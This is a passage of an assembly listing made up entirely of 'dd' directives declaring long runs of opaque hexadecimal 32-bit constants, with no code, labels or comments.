		dd 0EE70659Ah, 88035D5Dh, 0A492E7E7h, 0D72B589Ch, 8D0C1903h
		dd 351FFF99h, 0E2716DB9h, 3C273C06h, 0B8306409h, 13C6E42Fh
		dd 6A43565Fh, 934AE3E4h, 179046BEh, 0AA30659Ah,	0FE64E115h
		dd 21BB3380h, 0F18E23C5h, 59CA176h, 0D5C6BD87h,	667332F9h
		dd 2A2B922h, 6AD93D4Fh,	0C6C36BD3h, 6F90A050h, 0A52BAF38h
		dd 4DC5FD98h, 473208E5h, 9C6D03E5h, 0EE2FB050h,	575D9F57h
		dd 0F9788BA6h, 47AF02C2h, 0F8E4B7B7h, 4EB6CF2Ah, 8DA5517Dh
		dd 0BA561CB9h, 0DEF70B95h, 0A8717C0Ch, 0D2A9DCADh, 0C3BF25CBh
		dd 4DB5B98Fh, 846A9D94h, 3FE3850h, 0FABBB7FAh, 350DA459h
		dd 761AA1Ch, 118060ACh,	2B7BDB76h, 0B655ED42h, 1732C83Ah
		dd 730C8BE9h, 6FD2E620h, 7C6A1B45h, 347300FAh, 0B8764DD3h
		dd 0DA7AE6DAh, 0E00864B3h, 0E32CAB76h, 831258C4h, 53519CE0h
		dd 2F2E91A6h, 5C3FAD28h, 67D91BBFh, 5E3129A3h, 380D8936h
		dd 7B429AF6h, 6951103Bh, 80F5080Eh, 12A3B4B1h, 0FEC5DCC9h
		dd 2B6197F8h, 698BFCE2h, 91944CBBh, 2377A26Ah, 0FCA55F1Eh
		dd 21B7C0D7h, 4699B6AFh, 0A2357BC9h, 1291C7D9h,	0C8FD744h
		dd 43BEEAB2h, 0BF2E70B5h, 6B79A70Fh, 46F391B8h,	0AE16C1EAh
		dd 1BFB7089h, 0A839B2EAh, 621E49A6h, 58B67B07h,	80C84590h
		dd 64E98993h, 63CEEBBEh, 0DADE4AA9h, 88F1B0AFh,	2018DB72h
		dd 70CD508Dh, 0CFDB906Dh, 0DD58174Eh, 2D2E7828h, 0D8D2DB76h
		dd 0FB631CA6h, 918767F7h, 0DB07BDEBh, 5C58241Dh, 6527C0B8h
		dd 0D3294DADh, 0CFFA4C3Ah, 211BD768h, 67F6577Ch, 5AED9633h
		dd 0E026D3F4h, 15C44DD3h, 0B80BFBEBh, 3B5CBFEBh, 0F2C97F39h
		dd 9FBF6B58h, 1D2B0B83h, 7CE683DAh, 0BE84ED32h,	0C54553D6h
		dd 30911597h, 0F64C580Ah, 30972DD5h, 7F883CCDh,	289D2B38h
		dd 664746C6h, 9595C16Ah, 4819892Dh, 30674CB2h, 0D02D7321h
		dd 0E1C534D3h, 0F82B0D72h, 0B6A3E615h, 39ABF090h, 3F3CAB23h
		dd 57092F4Ch, 0D036D5EBh, 76D1FCCFh, 0C14D5641h, 88DDB10Dh
		dd 1A3CE040h, 15089FBAh, 3497A3Bh, 0BDD944F4h, 794EDED9h
		dd 0AB76EEC0h, 0BBF2C996h, 6473FB49h, 0F738B6A2h, 2A34B85Dh
		dd 1A989FBBh, 0D35AF1C2h, 0FFBA5AE8h, 5E36FA48h, 56303AD4h
		dd 650052Ah, 55C5B9ABh,	0C21CB749h, 0E28009Eh, 8E472868h
		dd 0E637E10Dh, 1F0E1442h
		dd 0C9234CF4h, 4159C78h, 6616B0E9h, 762F1ED8h, 2AF517A1h
		dd 394D3E14h, 0B4455F79h, 0F11C2ADFh, 0EB1C884Ah, 0D64A88ACh
		dd 2A81805Ah, 626DFF9Dh, 0E8A9095Dh, 4A47470Dh,	835192E3h
		dd 0ADD62E0Dh, 0D72447A8h, 9C81B159h, 299E7B90h, 0B9A8FC5Bh
		dd 21E39D6Ch, 0C28E6CFh, 9A205D17h, 0CC12CE37h,	0EBCFA022h
		dd 8B63B2D3h, 0F22DBF2Fh, 923DBCAh, 0B274E6FDh,	9952C02Fh
		dd 0CEE12310h, 0BC7D4EE3h, 200C5B3Fh, 0DF7C3A93h, 48DB496Eh
		dd 6C9646CEh, 0CA53192h, 0F3D3257Ah, 0B377969Eh, 5B139016h
		dd 2ED702CBh, 0B7B3367Dh, 0E305221Fh, 0C01091A4h, 0F32BEE1Fh
		dd 3E1C51DAh, 563DA37Dh, 0FBA3C2A7h, 704D7A3Bh,	978EED25h
		dd 9C567418h, 60AF64Eh,	17381186h, 9F0E3131h, 0D24CCB8Ah
		dd 871A699Bh, 743431DAh, 7D3A1C3Ch, 6F3C0FBEh, 861CE7C8h
		dd 81293BF3h, 84512ACAh, 66083E05h, 0D05D8D9Dh,	9375A474h
		dd 7B099803h, 53B98104h, 5EBF410Eh, 203B66DCh, 736A0EADh
		dd 4C04EE87h, 1D25B8D9h, 94960949h, 31EDAF51h, 0ADAD392Ah
		dd 0A13D10CFh, 0E16D3EA3h, 0F4E41E66h, 22F34567h, 0BFBB36E0h
		dd 164AE49Ah, 38A0BFE9h, 0F378B5D4h, 90F26393h,	0C7E8296Dh
		dd 0AEC76D93h, 0B98B1FF1h, 0DFFC3868h, 8F233391h, 471782ECh
		dd 0DDA384CBh, 48F91F13h, 0B7AB498h, 47DC0173h,	0B1F24195h
		dd 795FDF8Ah, 0BA8B7869h, 0F207ABB4h, 92B10D0Ah, 0D27D153Bh
		dd 0FB079685h, 451E043Eh, 661B6E20h, 7EA42F9Eh,	0DFA14B70h
		dd 9597E7DAh, 818D57CAh, 1B1B3FB3h, 358796D7h, 4059240Ch
		dd 70C9ADBh, 711E2480h,	8E12AD7Bh, 26F76AEh, 90783829h
		dd 0ED4A4BD0h, 0EF219198h, 4FDC3FE2h, 0C44822FAh, 0ECDB21E3h
		dd 4A178F2Ch, 671D01BEh, 0B9812640h, 120F1B8Dh,	0E0D8EE3Ch
		dd 80E6846Fh, 1A253947h, 80621E25h, 10BE4FC1h, 1BBDAB9Eh
		dd 0D34A04A7h, 67A88897h, 935D88FAh, 0AFE6CE76h, 7926676Ah
		dd 0C84F4726h, 9C388CA8h, 735E7C9Eh, 5DF0EFE9h,	0C921F288h
		dd 0FC8616DCh, 3986DF5Fh, 0B7C5970Fh, 0F69A64F8h, 0C0DDF25Ch
		dd 312C7A61h, 0EA321D5Ah, 0EFAB643Fh, 0D5612C4Dh, 0A735CFE1h
		dd 0CDAD2A7Ch, 1E0DCFBDh, 8F2AD8A5h, 43DF3601h,	84557C1Ah
		dd 75AA3059h, 0A3BC7918h, 6AAFFF7Eh, 58424B5Ch,	35FE363Eh
		dd 77506982h, 0D0184136h, 414449B9h, 71697FD7h,	0FEF770F2h
		dd 0B5FBB513h, 0BB559FF0h, 0B0424F9Ah, 38EF338Ch, 0BE92E4BEh
		dd 0B7AF8D23h, 2D75E973h, 26DC115Ah, 99AD512Eh,	0A259FD99h
		dd 17DE1571h, 0C0998DE1h, 573E4A8h, 5A0C08A3h, 4AA42410h
		dd 0A55311BEh, 5D1215E9h, 5B319005h, 66612754h,	88B4DABBh
		dd 0DC6B1B7Ah, 34DD0469h, 0FB256872h, 6309551Ch, 11251FA4h
		dd 119E12D1h, 8DE802A1h, 0B76C5F1Eh, 89154691h,	2BD3055Dh
		dd 0BA382A3Fh, 0A50721D4h, 0D770F824h, 0BFCD85D9h, 78883A86h
		dd 80146BA3h, 6F9DAD8Ch, 4BC9C981h, 0EBEE62D7h,	0B13395B7h
		dd 3E65F349h, 53A1DB57h, 0BB31510h, 5F728B82h, 266E92A8h
		dd 9BD1358Eh, 0A1470E23h, 6193A53Ah, 0F248E0A1h, 59ABFA94h
		dd 0B5477B2Fh, 2991809Dh, 916519E5h, 3038D366h,	0A54BF1ADh
		dd 9BF72D02h, 0D3166E72h, 5E7D402Fh, 96296041h,	0F144CD89h
		dd 0E0A62991h, 187388B0h, 491279F5h, 1B42AF06h,	2D17BE11h
		dd 0C20BF89Eh, 5092C5C1h, 1B702540h, 6A5A11CDh,	80FCDD96h
		dd 0F9DCF3DFh, 0F8315130h, 0D3247AF3h, 9544B182h, 2028332Fh
		dd 363BDB55h, 55AD4BFFh, 2D9CC2FFh, 56A1F8A7h, 90E1382Dh
		dd 0E3BA915h, 2D9D390Ch, 470FD46Eh, 5BDF7937h, 28C905A7h
		dd 94037D04h, 1ED737Dh,	88E015Eh, 1A61DF5Fh, 251788D2h
		dd 0B60ACC04h, 4BEAF0B3h, 9048251Dh, 0EE095BEAh, 364B2DAFh
		dd 151BFE1Bh, 4B8C1309h, 0C87DF80Fh, 4A22CE52h,	9A1001CEh
		dd 0DF1043C1h, 0C06C88A1h, 3B6C424Dh, 82BF6F5h,	942FB280h
		dd 0EC5B11C9h, 2C338642h, 1E0A26B8h, 9AF2590Dh,	170641D6h
		dd 0D5620A2h, 2863D93Bh, 0F88B9551h, 0D3FA3DACh, 0BEA0F8A5h
		dd 0B036ED21h, 0BEE2B1ACh, 7FFBB596h, 9036E6D9h, 95666813h
		dd 0ECCC8111h, 967E3F3Fh, 42EECA63h, 85EE9DFAh,	0CC9E34BFh
		dd 0F7E6C59Ch, 4980F8D3h, 91EE6C9Dh, 12D856Bh, 0E7660D14h
		dd 3B720751h, 53CEF681h, 0A79C297Eh, 0D2EA599Dh, 8CD071Dh
		dd 0A089F844h, 0B0F5330Eh, 0F041744Dh, 0AF4E2176h, 70D4AE9h
		dd 0E9FCED6Ch, 0A60893DDh, 0E5F8406h, 0F8B9F21Dh, 0C9362FF5h
		dd 38A143D8h, 0A259D36Fh, 92C947D0h, 658D3AFDh,	23BEC951h
		dd 58827EACh, 84D95746h, 0CDF9A3A2h, 759E27C5h,	0B1FBE82h
		dd 0DE05268Eh, 11615DB9h, 0C9626903h, 0B53B574Fh, 0E5308D43h
		dd 0BEF9B0DEh, 0E805A4A5h, 77C48568h, 0EEB32BA7h, 0B8B07771h
		dd 94EFC085h, 57A5CC2Eh, 7EFE85BCh, 0A56C5419h,	0F4D0EDC1h
		dd 5D03BC07h, 16D2F1E7h, 0A6890335h, 0F26A8E6Fh, 5465B190h
		dd 6ABDE3C6h, 0E4639DC1h, 0B954008Fh, 570B9BD2h, 97B89232h
		dd 95F3D571h, 0D69F6A0Dh, 46CB9E37h, 94E305D4h,	0E7118E86h
		dd 7CE8142Bh, 92864E7Eh, 21B6F4Fh, 587620C2h, 3E8B474Fh
		dd 0BEAD0567h, 0A42F667Bh, 0DB56BDEBh, 0AD4A3671h, 3B7926D9h
		dd 0F61DDFF4h, 0DCFDA65h, 476ED6F5h, 3904D0D6h,	3BA066B6h
		dd 7B22DAAh, 0A2C47B35h, 7F91D491h, 357E96A1h, 6F0F14B1h
		dd 0EB4DB02Fh, 0EB9D5E01h, 5CB18C45h, 93F612E3h, 0C788D795h
		dd 3D935C43h, 435D5962h, 0C453C956h, 72075A43h,	0A7EB920Bh
		dd 0BCDB12EFh, 815AB4C7h, 0EC8E4384h, 410CC1D9h, 0D9B48929h
		dd 0A8C1A830h, 0E621A13Ch, 2244CEFEh, 897A9686h, 4F734F41h
		dd 3ECD5A10h, 6CF0DF4h,	5DA139FCh, 9B00B96Dh, 75AC4D99h
		dd 0D787827Dh, 0E50B9A16h, 510B3BE2h, 0C3E71F41h, 1A8CC50Fh
		dd 55F0C5D5h, 0D60D95F4h, 5D620507h, 6679DB1Eh,	7FF885C5h
		dd 0E893B9C8h, 0D75D62Fh, 96851B77h, 2D0CF6B1h,	96219E23h
		dd 5E401F3Fh, 0B36F9465h, 0C9047A44h, 57F43EF7h, 9D6494E4h
		dd 51532AABh, 8EC636EDh, 0C2EF019Ch, 2BF06DCBh,	4E50F83Ch
		dd 0B88409E8h, 6277E445h, 0D394A896h, 0F6532408h, 0B7A70A69h
		dd 6EBD665Bh, 0D025CB69h, 35BD1F5Dh, 0EBA5585Ah, 0D52666FAh
		dd 6E1764E5h, 0E3348FC8h, 6B9DF59Ah, 9FD013EEh,	0A440502Ah
		dd 999D8E54h, 14CE3AF9h, 0F7050B0Dh, 9A2DD280h,	0B6552CF4h
		dd 48595CFEh, 0E0B0790Ch, 42D8B823h, 0F85FB5BFh, 0C642EBE9h
		dd 0E54D04D0h, 0F4DAD075h, 7A5BC8Fh, 2AF4EF8Eh,	0E48F2CC2h
		dd 0CA677704h, 4E7B72FDh, 0E7BBC982h, 0C26DA157h, 0E816145Eh
		dd 1DA56172h, 6D0DC72h,	0FC013D48h, 0DC2E5127h,	6F4C3F5Ch
		dd 0F2153B1Fh, 0B2D96A5Fh, 500EBBC7h, 47197372h, 0AF359D7Bh
		dd 47153075h, 0E3E14B2Eh, 681A2113h, 0FBAB5A9Fh, 0E81E69A9h
		dd 944B06D7h, 0A6C353E7h, 567FB617h, 4EBA5815h,	8A166C4Dh
		dd 40F04879h, 0B9D8C6D6h, 0A1893B1Eh, 8C47AC1Fh, 756F74A0h
		dd 27BC95E7h, 0E7064B23h, 302DCEC9h, 196FAF52h,	67CCEBE1h
		dd 0E5E01B98h, 557ECA80h, 74066C5h, 0CBF05FFEh,	5E909385h
		dd 34332D25h, 0B48E2A8Ah, 0A4EB9B9h, 9CC2192Ch,	6F3A53CBh
		dd 12CFFEA1h, 1862D8B4h, 302CEB36h, 0FF3BDA7Eh,	0B40102C2h
		dd 4002541Eh, 5096903Fh, 7FCF9431h, 5E4D02A8h, 34A6422Fh
		dd 5946E465h, 1578F7F7h, 0A773B91Eh, 14A7B00Ah,	8923C003h
		dd 0E4DB26EEh, 8C261087h
		dd 0E52056F9h, 0CC89D7C5h, 8B97FFFBh, 2A87063Ah, 0C43F40ACh
		dd 0DDC2487Eh, 0D64ACB31h, 0BDB89CABh, 0FB2A198Bh, 0F7F3992Ch
		dd 779CC85Ch, 0FEFAB7D4h, 1D8702D5h, 65B22173h,	0AEBEC372h
		dd 0C2E31096h, 0A2925018h, 91AC77B9h, 8473D2E4h, 0DBDD0845h
		dd 21F55AFEh, 866E0538h, 0B072644Eh, 0F84BE167h, 0CB11BBE0h
		dd 0B44D05C1h, 0B3B03452h, 93F6C6Dh, 5545D371h,	55B30FFh
		dd 8FBE0011h, 0F3327D7Eh, 23E86Dh, 0C33C11E8h, 3DC0D506h
		dd 1435C907h, 0A2C4EF97h, 2AFDA2F8h, 9DAA1F7Ah,	0AA9FB902h
		dd 63B07A4h, 6CFE7FC8h,	38D2F103h, 0B925D31Ah, 0EC36BE4Dh
		dd 3867CBDEh, 32F38206h, 92B5297Ch, 516CAD7Ch, 0E920B5A0h
		dd 0C47BFEFFh, 0F12BD5A1h, 345A1E27h, 1A6798F5h, 32F99711h
		dd 7FBB0C75h, 0E14EE963h, 88E32DC8h, 8384400h, 0E1E30A73h
		dd 27D547E4h, 0D033317Eh, 7FD1C9CCh, 2E745886h,	0A1CBEB97h
		dd 0FF965AEFh, 978784F3h, 0BB32412Ah, 1D52F641h, 0E0144BE4h
		dd 76910E68h, 3E0701h, 500E00h,	96C387C2h, 0BF51220Fh
		dd 7D9A37F4h, 2637A711h, 390A334Fh, 439E61C4h, 0A78D4008h
		dd 16D8D6C6h, 0BD1468FBh, 0C8501FCAh, 62FD168Bh, 0EBC2088h
		dd 0B6D645B1h, 0A589427h, 0D33EDC8Ah, 745FF7C8h, 0F5B81396h
		dd 0C683C794h, 0F66FD646h, 0F58F7547h, 366BDB62h, 0FF58DD70h
		dd 338627Bh, 0FC5FB940h, 57838370h, 0C811F90Fh,	0E06F458Eh
		dd 3416F377h, 360C191Eh, 92367EC4h, 1765EFB2h, 6D626275h
		dd 0E01CDABDh, 0C048BC93h, 217EFDBCh, 0F8800992h, 59C9A76Bh
		dd 0E98538F2h, 97701A30h, 0F500B5F6h, 79DB19E0h, 0FF131F97h
		dd 0BCB1687Bh, 37B1BD5Dh, 888ED9BDh, 660BE557h,	0D6C5D53Ah
		dd 7920F180h, 2751B072h, 1759045Fh, 86B8426Ah, 80DE73F8h
		dd 0B9BEB42Ah, 0C74475B7h, 0E6EDBDA3h, 3CCD040Eh, 2D173721h
		dd 3EB7C366h, 0CE0E0CF3h, 5395A457h, 41C4B3C2h,	77A39783h
		dd 0B884A45h, 21BD2BC6h, 2B44450h, 67C653CEh, 0DB7CA01h
		dd 6DE89D47h, 326E586Ch, 4098CF2Eh, 2E7EE910h, 896C4D50h
		dd 1EB03B0Dh, 0E0A4EDFh, 56C03FC8h, 1FFD3611h, 1FACA6D0h
		dd 63B22C04h, 74E148Bh,	0AFF27BDCh, 485CE8Ah, 4445587Fh
		dd 91FC92DCh, 72D1D3A0h, 2452A1FCh, 8BD7ED74h, 449567CBh
		dd 9DD21BC1h, 0E38E96D1h, 7D19BFD6h, 0B5CCB6DCh, 0BDFADC64h
		dd 0D412743Fh, 2F116FDFh, 974619CEh, 5A13A219h,	5EAEA6D7h
		dd 0BFD412A3h, 0E5930FCh, 0FF35CFDBh, 0CD935071h, 0C42DE047h
		dd 6DD6BB62h, 0D705398Ah, 4327BE57h, 0BE9E8A32h, 1D80E1A6h
		dd 7E7CC8B0h, 0BEDFEA50h, 2AEC0841h, 4C364503h,	0C9984EBCh
		dd 9BF34CAFh, 0E4C0DBE3h, 481F6760h, 85B60D90h,	7FB9EAD6h
		dd 285C3643h, 0ECE2B156h, 33763915h, 0F94585CFh, 757A7BA3h
		dd 0E75F9E30h, 5AFF4251h, 0B0D0F42Dh, 5D75882Ch, 6353762Ah
		dd 11DCE3BEh, 0A10A7A8Ah, 38A15A70h, 7F1D8DEh, 9801A849h
		dd 0BC2FCCB8h, 0D8480F9Fh, 6521D380h, 79BC6A03h, 5DCAB943h
		dd 0AC4D992Ah, 329D57F7h, 0E70E9A25h, 690D8103h, 9BD64314h
		dd 0DEE28DE4h, 0AD8DF2Fh, 458F756Dh, 437DB1EAh,	12F81DCEh
		dd 0A7D18795h, 14E4FE51h, 0ED74E844h, 5CE69132h, 9F3E7B22h
		dd 4A7E82E3h, 567D0C9h,	0BC42987Ch, 0EF60BE03h,	0FF8676DFh
		dd 5A682F96h, 0F5D0C8B9h, 0BB111AA1h, 85140232h, 696FDD70h
		dd 0ED8FE37Bh, 1B7BDED3h, 25AF4E19h, 0EAC2E055h, 0B957119Ch
		dd 0FF18D96Eh, 2F5FEDBEh, 0B07A91D7h, 0DDF15534h, 3072F4DEh
		dd 0A1CCD981h, 0F36C188Dh, 2BF1941Ah, 0C83CA811h, 0F42B155h
		dd 0BB0C587h, 0B0039F6Eh, 0ED112258h, 0E8739851h, 84AE7406h
		dd 5E163D0Bh, 3CFE20B3h, 4DD2A542h, 0E7ED5AE6h,	2668104Ah
		dd 25C719D9h, 7BF385FEh, 0B220D827h, 0E34994B9h, 23E12ADh
		dd 0C7F8ACB2h, 21576E52h, 0B461AB85h, 0A8C913F4h, 44DC2ADEh
		dd 0B9514A58h, 4A550C9Fh, 0B92F02FEh, 0FB1F7BC8h, 0E7A8615Bh
		dd 0CA3882B1h, 3209825Ch, 5DB1EA66h, 3D4678B8h,	7834E178h
		dd 53F0912Dh, 0A31E4420h, 731F98D9h, 84A8025Ch,	8E140DAh
		dd 8CC72A09h, 9D9003E8h, 0AAF8B85Bh, 0DF5410A1h, 0FBD25E93h
		dd 179C2B5Fh, 0AA37C813h, 0A26088F9h, 0B79D2012h, 16BB17Eh
		dd 111A3736h, 0A3077CF2h, 95BEDAD7h, 0C529083Ah, 2A57726Bh
		dd 0A4DE85FEh, 0F67F2C61h, 3ECDB7EBh, 0AB46C54Eh, 0F05FAF9Fh
		dd 9B68E56Bh, 0C18A3FD4h, 0C49BAC5Eh, 0A8C3B150h, 4627A02Ah
		dd 0C9463B73h, 144DD011h, 0C5FAD43Dh, 0F2B00F3Bh, 0E52A1146h
		dd 0A7F3DBD9h, 2087E8A3h, 0BC66590Eh, 0B22C220Bh, 663EA423h
		dd 814534B8h, 0C99A4185h, 3467E73Dh, 5BB3CA36h,	0EC2392DCh
		dd 7D5EC68h, 0AD4AAFA2h, 70F229C0h, 140AE358h, 5D7FFBE0h
		dd 5AA56B43h, 607AC22Ah, 0C7B576D7h, 2A620815h,	0BBB0A1E0h
		dd 8033CBA9h, 32D56DFBh, 0B65FC123h, 46607E64h,	16BBFC1Ch
		dd 0E427D3EBh, 0D0D33C9Ch, 0C1443C94h, 0EF9715B9h, 88E56A56h
		dd 62ACA02Fh, 0D831C0BFh, 0DD9CA02Ah, 1D2FEA11h, 52071BF2h
		dd 0BB228895h, 0C66D5689h, 0C9EAFBD0h, 81B82E84h, 0C57515C5h
		dd 7D8D05ECh, 72A01009h, 0CBB40820h, 930DA41h, 0EAC802D9h
		dd 14D0C323h, 239179E6h, 0F364EBD2h, 0D700D910h, 778DB1A2h
		dd 6C919272h, 39BCA39Bh, 528BBA6Fh, 21C3EEB3h, 0AE62A5A7h
		dd 7BA72E5Fh, 5DA72D8Ah, 9F1028CCh, 3E72A96Dh, 0DBFC5CE6h
		dd 39599A6Fh, 1FF3AA01h, 238E0819h, 73CA1AD9h, 0A93D4A6Fh
		dd 14B9EB76h, 20F49945h, 0F7293CD1h, 4E44AF30h,	0C806F9ACh
		dd 0DE515667h, 4BE38CECh, 54D7B57Fh, 3016DB9Bh,	26F1BC76h
		dd 10DAC21Fh, 0AD02989Ch, 1EFD336Dh, 0DCA2ACD9h, 4B460900h
		dd 0E87D1041h, 0BF79B8B4h, 0DA5ABB7Dh, 7066AA96h, 6EEFA923h
		dd 0D81C5D43h, 9508BACCh, 19916CEAh, 0EC6674F7h, 674B10A3h
		dd 2EC5C2C5h, 0CB69DBC1h, 0AB0402BFh, 2BC2EAE4h, 58304F29h
		dd 63E6EF4Ah, 0C9EDD93Ah, 22A51D07h, 0BE57465Ch, 0F8E421DAh
		dd 9D1E8FB2h, 7CBE594Eh, 786E15D5h, 79F07C69h, 13B65CE0h
		dd 94A67B0Ch, 8D97C8CAh, 0DDB01F3Ch, 99A38C54h,	5D252261h
		dd 656FB57Fh, 0BC12FE9Eh, 0FEA61DB1h, 4D0A5145h, 0EE44C51Dh
		dd 0BD96384Dh, 92AA59B3h, 479DE394h, 500E3C40h,	0C02CFDA3h
		dd 8416A9CFh, 8C9FE037h, 2DA6BC60h, 0B925294Eh,	97A4CB99h
		dd 6B7386BEh, 6A5813A4h, 0EFEDA4BDh, 633EB373h,	0DE5CADF5h
		dd 0CCDC7567h, 603299B8h, 58CDBBCEh, 85789FD2h,	14401144h
		dd 0E8935078h, 336241A7h, 36F7826Ah, 642DB56Eh,	4C00C0ECh
		dd 999D6A3Dh, 278B928Fh, 5EC234D2h, 0DC2E5585h,	3833B7EAh
		dd 62D62E53h, 45EB4BAFh, 0F5DD356Dh, 0F098E484h, 145BD681h
		dd 97522A01h, 0EEBA2AD7h, 83C57106h, 58BDEEC9h,	9AB41E11h
		dd 1544D7B8h, 0EDDF76C9h, 38C66AC5h, 45640F1Bh,	0BD22036Ch
		dd 0DCEA0DB8h, 0E44224CEh, 442D83h, 4CD9248Ch, 629261BCh
		dd 4C86E032h, 77EA6898h, 1A769DE8h, 0E3E6B52Dh,	18675C53h
		dd 0E3EE6F98h, 0EA29213Bh, 54AB8F06h, 21AB91C3h, 8B92EF31h
		dd 475449ACh, 0E7273B4Eh, 185DADEEh, 0DBC1F8E8h, 6A10380Bh
		dd 0C129D616h, 4ABD6A81h, 3539C945h, 0E0946F32h, 0B8566D9Ch
		dd 0F005D2EFh, 9CA0F2EEh, 33F97764h, 0A9B1DCB8h, 6D1F8030h
		dd 951B67D4h, 0EF12DE13h, 839C85B1h, 2EC2A42Ah,	17C6DFBFh
		dd 75B346FCh, 0C0013C94h
		dd 6BBEA6D5h, 6BAD92EEh, 0C86C0C1h, 0B2646DD3h,	96164AB7h
		dd 8DCECF86h, 681A287Dh, 96A14FA4h, 0A252B145h,	65ADB799h
		dd 61F15B4Dh, 0EE9F48A2h, 0E4C14A32h, 0F20A06FCh, 5E7B5A56h
		dd 6B0A2BC9h, 0B58628FAh, 2721C392h, 0DB1B129Ah, 0F6BC6CB7h
		dd 0D293110Eh, 0A84DCF24h, 6AC58D9Bh, 7F1A6EFAh, 856724E2h
		dd 1790EB6Eh, 0D3B1FAA2h, 0B73BC692h, 4FCDC251h, 52D2A280h
		dd 442D96E6h, 0B51EB9EDh, 4E15EAC1h, 6F7EA937h,	4FB33B4Dh
		dd 0E76FE11Ch, 866BEA3Dh, 20278312h, 92DC51F3h,	12C1D1DDh
		dd 0AB14B1E3h, 15000333h, 1F9F96EBh, 53F8F46Eh,	0EA75A5CCh
		dd 0E5FDC6E9h, 0C38A3A44h, 69562C3Dh, 48CF7D0Ch, 0E5546314h
		dd 949C2594h, 0CECA3D23h, 274F0FCDh, 9D68443h, 348D6AEEh
		dd 0EEA91722h, 568CB3A6h, 3DA61A72h, 0F090ED93h, 4B018657h
		dd 577A68F5h, 0EB9DFFDBh, 441CA185h, 9590ACA8h,	98549165h
		dd 0D2C16E8Fh, 22C9022Eh, 764A63BEh, 0A6A54597h, 123B115Dh
		dd 33F630F9h, 74065A6Dh, 0CF971CC6h, 28E27D5Ah,	0E1D081BDh
		dd 0C6DCC8C3h, 0A0A470DAh, 0B18EE034h, 916292D9h, 5EC3048Ch
		dd 0A373AFADh, 0E8792C78h, 0F1F28388h, 1BD7E644h, 0CBF0D9B1h
		dd 0B2E04432h, 2701F7CFh, 5B6EE8C1h, 0A4756E0h,	84A31E44h
		dd 7EB23BF6h, 0DD194D26h, 58FAF434h, 0EBDD371Eh, 1B2FF31Ch
		dd 95CAA074h, 71D1533Ch, 0E58F7934h, 0BFCFABC9h, 2C9971FCh
		dd 0DEFA160h, 720FA7C8h, 4E2070A3h, 3A79DD05h, 0F181E7BCh
		dd 793D08F0h, 52501AD7h, 0CED7252Eh, 0EE80E45Bh, 0E0F5DB7Eh
		dd 0F6C56F7Eh, 282CA9C4h, 0C3355251h, 0E5E3B617h, 2F951A90h
		dd 47A20B0h, 0E6ABAC8h,	32635C85h, 5BE7D234h, 442276B6h
		dd 8C71EA8Eh, 974B0140h, 7F80A933h, 0CA8F8432h,	308F32B4h
		dd 0BDFC4EEEh, 1E808B88h, 0E5354401h, 0DEA8B6EAh, 1D5B90BAh
		dd 0FD8B54DCh, 90812352h, 35655FA3h, 8C085F48h,	79FBAF51h
		dd 15DFDA3Eh, 0E70060C0h, 12601479h, 17DD9A9Ch,	423118C2h
		dd 0E06B29F2h, 0FCF6F96Dh, 0DF2DB760h, 0E9C2437Ah, 79309376h
		dd 0B9845865h, 0D71FEFF9h, 429EA2ABh, 29547BC6h, 2F042DE1h
		dd 0ED5C88F0h, 5743AD98h, 17B0E8BBh, 493AA474h,	0D58CEAF6h
		dd 785A8E13h, 6EC05A9Ch, 0F6CAF0ADh, 7F3173E1h,	0A40C157Ch
		dd 8C2C5A11h, 9C6C507Fh, 3AF64AFAh, 2D8D9551h, 599F59F7h
		dd 88EE4201h, 0CFD4C193h, 0EBED8EC2h, 0B44970DEh, 32BE90AAh
		dd 4ADDFF48h, 0CA02F837h, 145FDD9Bh, 1CFA94F6h,	4C035927h
		dd 537CC51h, 7F868C9Ah,	0F714914Ch, 0B4D1F6DBh,	0A0DD44EAh
		dd 7C30A60Dh, 0AEF10044h, 0C2B61005h, 0D2150532h, 0A2A0AC9Ch
		dd 0DA244684h, 277D3A05h, 0BDE8F259h, 40F2C581h, 16BDEADEh
		dd 0F070ED1Ch, 2760D3D7h, 62650983h, 0DACE9FA2h, 0E6572CC7h
		dd 47B1E2F2h, 4E774FD4h, 0FCF69669h, 40CF5C9Dh,	3F9ECB62h
		dd 9AA19836h, 0AF09114Bh, 4884B27Fh, 0C4F83474h, 0B2AA2234h
		dd 0F337083Fh, 0BC210779h, 48223AD4h, 0C1EFD7BFh, 0DC4CCF6Ah
		dd 0D7609E94h, 0A9B605CBh, 0BD0DFAC5h, 0D2430ED2h, 9C4ECCE2h
		dd 7F64C8A6h, 761FDB80h, 800D94B3h, 77C2F759h, 56EA5DF8h
		dd 0FEDA106Ch, 0DB5759C5h, 66AC6D69h, 183F1D7Fh, 61A76403h
		dd 590B185Ah, 0E0330C93h, 7F173675h, 9D1D8AB4h,	0DFC38347h
		dd 937870F6h, 2DAE1CDBh, 0E4195A87h, 3705C417h,	78E38279h
		dd 0A3A87BD4h, 0A17A5EAEh, 6E3E97A4h, 293469C2h, 33FD163Dh
		dd 6ADBF31Ah, 93EAE46Bh, 0B8CAA665h, 83381A51h,	0BF8B131Dh
		dd 166A022Dh, 0D83DB74h, 0AA6A48A3h, 29BAFDD6h,	2E5C3D0Dh
		dd 7FB994A8h, 84AF21B7h, 2C078186h, 1BABD1h, 3D0052BAh
		dd 0EA47271Ah, 20606E46h, 0F6E8C785h, 7FABFEDAh, 6B96F6E1h
		dd 1965B744h, 0C272A922h, 0BE2F79E0h, 5E09065Fh, 7264B7FAh
		dd 318F6E1Eh, 2FA76B53h, 0FFF4D234h, 0D0C44AE5h, 0C09D8594h
		dd 80C827F5h, 3F4BBE02h, 0A830026Bh, 0AA123EEh,	9F2635BAh
		dd 1EC822B7h, 6C1DAF14h, 0E26D73AAh, 5B9A6B06h,	7C472F58h
		dd 291DA02Fh, 6333C983h, 5F4415DEh, 0E6E5396Bh,	1A3E514Bh
		dd 93C4B1C2h, 4B7762D3h, 3DAAF23Ah, 0E2967EE2h,	3FD19B51h
		dd 3FAC2EF5h, 0A9D03195h, 0E7888516h, 9A63BA35h, 0F2715DE9h
		dd 10A9C2A7h, 60B24BCh,	0BFA36BAEh, 28F862Ah, 2DB1FC03h
		dd 2B1BC2EEh, 6A1EA822h, 6FC72D84h, 0ED86C20Ah,	35A56C6h
		dd 2965E6DCh, 4B61E099h, 1D5DE80Dh, 6BB3F552h, 22CEC7C0h
		dd 0C6450A17h, 60C630BAh, 83E76782h, 0F9FFBC3Ah, 0D5326A5Bh
		dd 8E89FBDBh, 9BE9E9Fh,	44703F1Bh, 1E10A0ECh, 0AB160FB3h
		dd 9288676Dh, 95066B0Ch, 7A6FAB52h, 485F3AC8h, 0C224EE22h
